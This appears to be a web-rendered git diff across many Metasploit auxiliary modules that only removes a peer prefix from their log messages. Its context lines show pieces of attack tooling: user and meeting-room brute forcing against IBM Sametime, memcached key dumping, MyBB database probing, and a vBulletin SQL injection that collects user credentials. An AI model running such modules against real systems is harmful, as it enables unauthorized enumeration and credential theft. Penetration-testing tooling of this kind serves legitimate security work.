|
||||
'method' => 'GET',
|
||||
@@ -214,7 +214,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def get_router_wan_info
|
||||
print_status("#{peer} - Gathering WAN information...")
|
||||
print_status("Gathering WAN information...")
|
||||
res = send_request_raw(
|
||||
{
|
||||
'method' => 'GET',
|
||||
@@ -238,7 +238,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def get_router_dhcp_info
|
||||
print_status("#{peer} - Gathering DHCP information...")
|
||||
print_status("Gathering DHCP information...")
|
||||
res = send_request_raw(
|
||||
{
|
||||
'method' => 'GET',
|
||||
@@ -274,19 +274,19 @@ class Metasploit3 < Msf::Auxiliary
|
||||
def is_target?(res)
|
||||
# check whether we got any response from server and proceed.
|
||||
unless res
|
||||
print_error("#{peer} - Failed to get any response from server")
|
||||
print_error("Failed to get any response from server")
|
||||
return false
|
||||
end
|
||||
|
||||
# Is it a HTTP OK
|
||||
unless res.code == 200
|
||||
print_error("#{peer} - Did not get HTTP 200, URL was not found")
|
||||
print_error("Did not get HTTP 200, URL was not found")
|
||||
return false
|
||||
end
|
||||
|
||||
# Check to verify server reported is a Huawei router
|
||||
unless res.headers['Server'].match(/IPWEBS\/1.4.0/i)
|
||||
print_error("#{peer} - Target doesn't seem to be a Huawei router")
|
||||
print_error("Target doesn't seem to be a Huawei router")
|
||||
return false
|
||||
end
|
||||
|
||||
|
||||
@@ -80,15 +80,15 @@ class Metasploit3 < Msf::Auxiliary
|
||||
@charset.push(Rex::Text.uri_encode(spec))
|
||||
end
|
||||
end
|
||||
print_status("#{peer} - Performing Bruteforce attack")
|
||||
vprint_status("#{peer} - Using CHARSET: [#{@charset.join(",")}]")
|
||||
print_status("Performing Bruteforce attack")
|
||||
vprint_status("Using CHARSET: [#{@charset.join(",")}]")
|
||||
else
|
||||
print_status("#{peer} - Performing dictionary based attack (#{datastore['DICT']})")
|
||||
print_status("Performing dictionary based attack (#{datastore['DICT']})")
|
||||
end
|
||||
|
||||
if datastore['DICT'].blank? and datastore['MAXDEPTH'] > 2
|
||||
# warn user on long runs
|
||||
print_status("#{peer} - Depth level #{datastore['MAXDEPTH']} selected... this may take some time!")
|
||||
print_status("Depth level #{datastore['MAXDEPTH']} selected... this may take some time!")
|
||||
end
|
||||
|
||||
# create initial test queue and populate
|
||||
@@ -97,7 +97,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
@charset.each { |char| @test_queue.push(char) }
|
||||
else
|
||||
::File.open(datastore['DICT']).each { |line| @test_queue.push(line.chomp) }
|
||||
vprint_status("#{peer} - Loaded #{@test_queue.length} values from dictionary")
|
||||
vprint_status("Loaded #{@test_queue.length} values from dictionary")
|
||||
end
|
||||
|
||||
@depth_warning = true
|
||||
@@ -105,7 +105,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("#{peer} - Testing for IBM Lotus Notes Sametime User Enumeration flaw")
|
||||
print_status("Testing for IBM Lotus Notes Sametime User Enumeration flaw")
|
||||
|
||||
# test for expected response code on non-existant uid/email
|
||||
if datastore['TYPE'] == "UID"
|
||||
@@ -126,17 +126,17 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
begin
|
||||
if res.nil?
|
||||
print_error("#{peer} - Timeout")
|
||||
print_error("Timeout")
|
||||
return
|
||||
elsif res.code != 200
|
||||
print_error("#{peer} - Unexpected response from server (Response code: #{res.code})")
|
||||
print_error("Unexpected response from server (Response code: #{res.code})")
|
||||
return
|
||||
elsif JSON.parse(res.body)
|
||||
# valid JSON response - valid response for check
|
||||
print_good("#{peer} - Response received, continuing to enumeration phase")
|
||||
print_good("Response received, continuing to enumeration phase")
|
||||
end
|
||||
rescue JSON::ParserError,
|
||||
print_error("#{peer} - Error parsing JSON: Invalid response from server")
|
||||
print_error("Error parsing JSON: Invalid response from server")
|
||||
return
|
||||
end
|
||||
|
||||
@@ -148,7 +148,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def test_handler
|
||||
print_status("#{peer} - Beginning tests using #{datastore['TYPE']} search method (#{datastore['Threads']} Threads)")
|
||||
print_status("Beginning tests using #{datastore['TYPE']} search method (#{datastore['Threads']} Threads)")
|
||||
test_length = 1 # initial test length set
|
||||
|
||||
until @test_queue.empty?
|
||||
@@ -169,7 +169,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
# provide feedback to user on current test length
|
||||
if datastore['DICT'].blank? and test_current.length > test_length
|
||||
test_length = test_current.length
|
||||
print_status("#{peer} - Beginning bruteforce test for #{test_length} character strings")
|
||||
print_status("Beginning bruteforce test for #{test_length} character strings")
|
||||
end
|
||||
|
||||
res = make_request(test_current)
|
||||
@@ -178,11 +178,11 @@ class Metasploit3 < Msf::Auxiliary
|
||||
if res.nil? and not @retries.include?(test_current)
|
||||
# attempt test again as the server was too busy to respond
|
||||
# correctly - error returned
|
||||
print_error("#{peer} - Error reading JSON response, attempting to redo check for \"#{test_current}\"")
|
||||
print_error("Error reading JSON response, attempting to redo check for \"#{test_current}\"")
|
||||
@test_queue.push(test_current)
|
||||
@retries << test_current
|
||||
if @retries.length == 10
|
||||
print_error("#{peer} - Excessive number of retries detected (#{@retries.length}... check the TIMING and Threads options)")
|
||||
print_error("Excessive number of retries detected (#{@retries.length}... check the TIMING and Threads options)")
|
||||
end
|
||||
elsif res
|
||||
# check response for user data
|
||||
@@ -242,11 +242,11 @@ class Metasploit3 < Msf::Auxiliary
|
||||
unless @user_data.flatten.include?(userinfo['uid'])
|
||||
@user_data << [ userinfo['uid'], userinfo['mail'] || "-", userinfo['externalName'] || "-" ]
|
||||
# print newly discovered users straight to the screen if verbose mode is set
|
||||
vprint_good("#{peer} - New user found: #{userinfo['uid']}")
|
||||
vprint_good("New user found: #{userinfo['uid']}")
|
||||
report_user(userinfo['uid'])
|
||||
end
|
||||
rescue JSON::ParserError
|
||||
print_error("#{peer} - Error reading JSON string, continuing")
|
||||
print_error("Error reading JSON string, continuing")
|
||||
end
|
||||
end
|
||||
|
||||
@@ -263,7 +263,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
@test_queue.push(test_current + char)
|
||||
end
|
||||
elsif @depth_warning and test_current.length == datastore['MAXDEPTH'] and datastore['MAXDEPTH'] > 1
|
||||
vprint_status("#{peer} - Depth limit reached [#{datastore['MAXDEPTH']} levels deep] finishing up current tests")
|
||||
vprint_status("Depth limit reached [#{datastore['MAXDEPTH']} levels deep] finishing up current tests")
|
||||
@depth_warning = false
|
||||
end
|
||||
end
|
||||
@@ -301,10 +301,10 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
if not user_tbl.to_s.empty?
|
||||
print_good("#{peer} - #{@user_data.length} users extracted")
|
||||
print_good("#{@user_data.length} users extracted")
|
||||
print_line(user_tbl.to_s)
|
||||
else
|
||||
print_error("#{peer} - No users discovered")
|
||||
print_error("No users discovered")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -52,7 +52,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("#{peer} - Beginning IBM Lotus Notes Sametime Meeting Room Bruteforce")
|
||||
print_status("Beginning IBM Lotus Notes Sametime Meeting Room Bruteforce")
|
||||
print_status("Using owner: #{datastore['OWNER']}")
|
||||
|
||||
# test for expected response code on non-existant meeting room name
|
||||
@@ -71,14 +71,14 @@ class Metasploit3 < Msf::Auxiliary
|
||||
})
|
||||
|
||||
unless res
|
||||
print_error("#{peer} - No response, timeout")
|
||||
print_error("No response, timeout")
|
||||
return
|
||||
end
|
||||
|
||||
if res.code == 404 and res.body =~ /Room does not exist/i
|
||||
vprint_status("#{peer} - Server responding to restapi requests as expected")
|
||||
vprint_status("Server responding to restapi requests as expected")
|
||||
else
|
||||
print_error("#{peer} - Unexpected response from server (#{res.code}). Exiting...")
|
||||
print_error("Unexpected response from server (#{res.code}). Exiting...")
|
||||
return
|
||||
end
|
||||
|
||||
@@ -90,7 +90,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
::File.open(datastore['DICT']).each { |line| @test_queue.push(line.chomp) }
|
||||
vprint_status("Loaded #{@test_queue.length} values from dictionary")
|
||||
|
||||
print_status("#{peer} - Beginning dictionary bruteforce using (#{datastore['Threads']} Threads)")
|
||||
print_status("Beginning dictionary bruteforce using (#{datastore['Threads']} Threads)")
|
||||
|
||||
while(not @test_queue.empty?)
|
||||
t = []
|
||||
@@ -108,9 +108,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||
Thread.current.kill if not test_current
|
||||
res = make_request(test_current)
|
||||
if res.nil?
|
||||
print_error("#{peer} - Timeout from server when testing room \"#{test_current}\"")
|
||||
print_error("Timeout from server when testing room \"#{test_current}\"")
|
||||
elsif res and res.code == 404
|
||||
vprint_status("#{peer} - Room \"#{test_current}\" was not valid for owner #{datastore['OWNER']}")
|
||||
vprint_status("Room \"#{test_current}\" was not valid for owner #{datastore['OWNER']}")
|
||||
else
|
||||
# check response for user data
|
||||
check_response(res, test_current)
|
||||
|
||||
@@ -192,10 +192,10 @@ class Metasploit3 < Msf::Auxiliary
|
||||
def report
|
||||
if @version_info['version']['sametimeVersion']
|
||||
print_line
|
||||
print_good("#{peer} - #{@version_info['version']['sametimeVersion']} Detected")
|
||||
print_good("#{@version_info['version']['sametimeVersion']} Detected")
|
||||
else
|
||||
print_line
|
||||
print_status("#{peer} - IBM Lotus Sametime information")
|
||||
print_status("IBM Lotus Sametime information")
|
||||
end
|
||||
|
||||
# configure tables
|
||||
@@ -298,7 +298,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
@version_info['conf'] = {}
|
||||
@version_info['api'] = {}
|
||||
|
||||
print_status("#{peer} - Checking IBM Lotus Sametime Server")
|
||||
print_status("Checking IBM Lotus Sametime Server")
|
||||
URLS.each do | url |
|
||||
check_url(url)
|
||||
end
|
||||
@@ -312,13 +312,13 @@ class Metasploit3 < Msf::Auxiliary
|
||||
proxy = URI(@version_info['conf']['meetingroomcenter.stProxyAddress']).host
|
||||
end
|
||||
|
||||
print_good("#{peer} - Sametime Proxy address discovered #{proxy}")
|
||||
print_good("Sametime Proxy address discovered #{proxy}")
|
||||
|
||||
PROXY_URLS.each do | url |
|
||||
check_url(url, proxy)
|
||||
end
|
||||
elsif proxy?
|
||||
print_status("#{peer} - Sametime Proxy address discovered, but checks disabled")
|
||||
print_status("Sametime Proxy address discovered, but checks disabled")
|
||||
end
|
||||
|
||||
report unless @version_info.empty?
|
||||
|
||||
@@ -34,53 +34,53 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("#{peer} - Sending RMI Header...")
|
||||
print_status("Sending RMI Header...")
|
||||
connect
|
||||
|
||||
send_header
|
||||
ack = recv_protocol_ack
|
||||
if ack.nil?
|
||||
print_error("#{peer} - Failed to negotiate RMI protocol")
|
||||
print_error("Failed to negotiate RMI protocol")
|
||||
disconnect
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{peer} - Listing names in the Registry...")
|
||||
print_status("Listing names in the Registry...")
|
||||
|
||||
begin
|
||||
names = send_registry_list
|
||||
rescue ::Rex::Proto::Rmi::Exception => e
|
||||
print_error("#{peer} - List raised exception #{e.message}")
|
||||
print_error("List raised exception #{e.message}")
|
||||
return
|
||||
end
|
||||
|
||||
if names.nil?
|
||||
print_error("#{peer} - Failed to list names")
|
||||
print_error("Failed to list names")
|
||||
return
|
||||
end
|
||||
|
||||
if names.empty?
|
||||
print_error("#{peer} - Names not found in the Registry")
|
||||
print_error("Names not found in the Registry")
|
||||
return
|
||||
end
|
||||
|
||||
print_good("#{peer} - #{names.length} names found in the Registry")
|
||||
print_good("#{names.length} names found in the Registry")
|
||||
|
||||
names.each do |name|
|
||||
|
||||
begin
|
||||
remote_reference = send_registry_lookup(name: name)
|
||||
rescue ::Rex::Proto::Rmi::Exception => e
|
||||
print_error("#{peer} - Lookup of #{name} raised exception #{e.message}")
|
||||
print_error("Lookup of #{name} raised exception #{e.message}")
|
||||
next
|
||||
end
|
||||
|
||||
if remote_reference.nil?
|
||||
print_error("#{peer} - Failed to lookup #{name}")
|
||||
print_error("Failed to lookup #{name}")
|
||||
next
|
||||
end
|
||||
|
||||
print_good("#{peer} - Name #{name} (#{remote_reference[:object]}) found on #{remote_reference[:address]}:#{remote_reference[:port]}")
|
||||
print_good("Name #{name} (#{remote_reference[:object]}) found on #{remote_reference[:address]}:#{remote_reference[:port]}")
|
||||
report_service(
|
||||
:host => remote_reference[:address],
|
||||
:port => remote_reference[:port],
|
||||
|
||||
@@ -131,7 +131,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
'data' => '<SOAP-ENV:Envelope></SOAP-ENV:Envelope>'
|
||||
}, datastore['TIMEOUT'].to_i)
|
||||
if response.nil?
|
||||
print_error("#{peer} - No reponse from device")
|
||||
print_error("No reponse from device")
|
||||
return
|
||||
else
|
||||
xml0_body = ::Nokogiri::XML(response.body)
|
||||
@@ -143,7 +143,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("#{peer} - Version check Connection failed.")
|
||||
print_error("Version check Connection failed.")
|
||||
end
|
||||
|
||||
# This section logs on and retrieves AuthKey token
|
||||
@@ -158,7 +158,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
'data' => authreq_xml.to_xml
|
||||
}, datastore['TIMEOUT'].to_i)
|
||||
if response.nil?
|
||||
print_error("#{peer} - No reponse from device")
|
||||
print_error("No reponse from device")
|
||||
return
|
||||
else
|
||||
xml1_body = ::Nokogiri::XML(response.body)
|
||||
@@ -167,7 +167,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
extract(major, minor, authkey)
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("#{peer} - Login Connection failed.")
|
||||
print_error("Login Connection failed.")
|
||||
end
|
||||
end
|
||||
|
||||
@@ -185,7 +185,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
'data' => smbreq_xml.to_xml
|
||||
}, datastore['TIMEOUT'].to_i)
|
||||
if response.nil?
|
||||
print_error("#{peer} - No reponse from device")
|
||||
print_error("No reponse from device")
|
||||
return
|
||||
else
|
||||
xml2_body = ::Nokogiri::XML(response.body)
|
||||
|
||||
@@ -111,11 +111,11 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
def run_host(ip)
|
||||
peer = "#{ip}:#{rport}"
|
||||
vprint_status("#{peer} - Connecting to memcached server...")
|
||||
vprint_status("Connecting to memcached server...")
|
||||
begin
|
||||
connect
|
||||
if (version = determine_version)
|
||||
vprint_good("#{peer} - Connected to memcached version #{version}")
|
||||
vprint_good("Connected to memcached version #{version}")
|
||||
unless localhost?(ip)
|
||||
report_service(
|
||||
host: ip,
|
||||
@@ -126,11 +126,11 @@ class Metasploit3 < Msf::Auxiliary
|
||||
)
|
||||
end
|
||||
else
|
||||
print_error("#{peer} - unable to determine memcached protocol version")
|
||||
print_error("unable to determine memcached protocol version")
|
||||
return
|
||||
end
|
||||
keys = enumerate_keys
|
||||
print_good("#{peer} - Found #{keys.size} keys")
|
||||
print_good("Found #{keys.size} keys")
|
||||
return if keys.size == 0
|
||||
|
||||
data = data_for_keys(keys)
|
||||
@@ -144,10 +144,10 @@ class Metasploit3 < Msf::Auxiliary
|
||||
print_line("#{result_table}")
|
||||
unless localhost?(ip)
|
||||
path = store_loot('memcached.dump', 'text/plain', ip, data, 'memcached.txt', 'Memcached extractor')
|
||||
print_good("#{peer} - memcached loot stored at #{path}")
|
||||
print_good("memcached loot stored at #{path}")
|
||||
end
|
||||
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout
|
||||
vprint_error("#{peer} - Could not connect to memcached server!")
|
||||
vprint_error("Could not connect to memcached server!")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -64,7 +64,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
# Check forum MyBB
|
||||
if res.body.match("MYBB")
|
||||
print_good("#{peer} - MyBB forum found running on #{web_server} / #{php_version}")
|
||||
print_good("MyBB forum found running on #{web_server} / #{php_version}")
|
||||
return Exploit::CheckCode::Detected
|
||||
else
|
||||
return Exploit::CheckCode::Unknown
|
||||
@@ -77,13 +77,13 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
|
||||
def run
|
||||
print_status("#{peer} - Checking MyBB...")
|
||||
print_status("Checking MyBB...")
|
||||
unless check == Exploit::CheckCode::Detected
|
||||
print_error("#{peer} - MyBB not found")
|
||||
print_error("MyBB not found")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{peer} - Checking database...")
|
||||
print_status("Checking database...")
|
||||
uri = normalize_uri(target_uri.path, 'memberlist.php')
|
||||
response = send_request_cgi(
|
||||
{
|
||||
@@ -94,17 +94,17 @@ class Metasploit3 < Msf::Auxiliary
|
||||
}
|
||||
})
|
||||
if response.nil?
|
||||
print_error("#{peer} - Timeout...")
|
||||
print_error("Timeout...")
|
||||
return
|
||||
end
|
||||
|
||||
# Resolve response
|
||||
if response.body.match(/SELECT COUNT\(\*\) AS users FROM mybb_users u WHERE 1=1 AND u.username NOT REGEXP\(\'\[a-zA-Z\]\'\)/)
|
||||
print_good("#{peer} - Running PostgreSQL Database")
|
||||
print_good("Running PostgreSQL Database")
|
||||
elsif response.body.match(/General error\: 1 no such function\: REGEXP/)
|
||||
print_good("#{peer} - Running SQLite Database")
|
||||
print_good("Running SQLite Database")
|
||||
else
|
||||
print_status("#{peer} - Running MySQL or unknown database")
|
||||
print_status("Running MySQL or unknown database")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -62,7 +62,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
max = datastore["MAXNODE"]
|
||||
|
||||
if min > max
|
||||
print_error("#{peer} - MINNODE can't be major than MAXNODE")
|
||||
print_error("MINNODE can't be major than MAXNODE")
|
||||
return nil
|
||||
end
|
||||
|
||||
@@ -77,11 +77,11 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
def get_node
|
||||
if datastore['NODE'].nil? or datastore['NODE'] <= 0
|
||||
print_status("#{peer} - Brute forcing to find a valid node id...")
|
||||
print_status("Brute forcing to find a valid node id...")
|
||||
return brute_force_node
|
||||
end
|
||||
|
||||
print_status("#{peer} - Checking node id #{datastore['NODE']}...")
|
||||
print_status("Checking node id #{datastore['NODE']}...")
|
||||
if exists_node?(datastore['NODE'])
|
||||
return datastore['NODE']
|
||||
else
|
||||
@@ -173,21 +173,21 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("#{peer} - Checking for a valid node id...")
|
||||
print_status("Checking for a valid node id...")
|
||||
node_id = get_node
|
||||
if node_id.nil?
|
||||
print_error("#{peer} - node id not found")
|
||||
print_error("node id not found")
|
||||
return
|
||||
end
|
||||
|
||||
print_good("#{peer} - Using node id #{node_id} to exploit sqli... Counting users...")
|
||||
print_good("Using node id #{node_id} to exploit sqli... Counting users...")
|
||||
data = do_sqli(node_id, "select count(*) from user")
|
||||
if data.blank?
|
||||
print_error("#{peer} - Error exploiting sqli")
|
||||
print_error("Error exploiting sqli")
|
||||
return
|
||||
end
|
||||
count_users = data.to_i
|
||||
print_good("#{peer} - #{count_users} users found. Collecting credentials...")
|
||||
print_good("#{count_users} users found. Collecting credentials...")
|
||||
|
||||
users_table = Rex::Ui::Text::Table.new(
|
||||
'Header' => 'vBulletin Users',
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user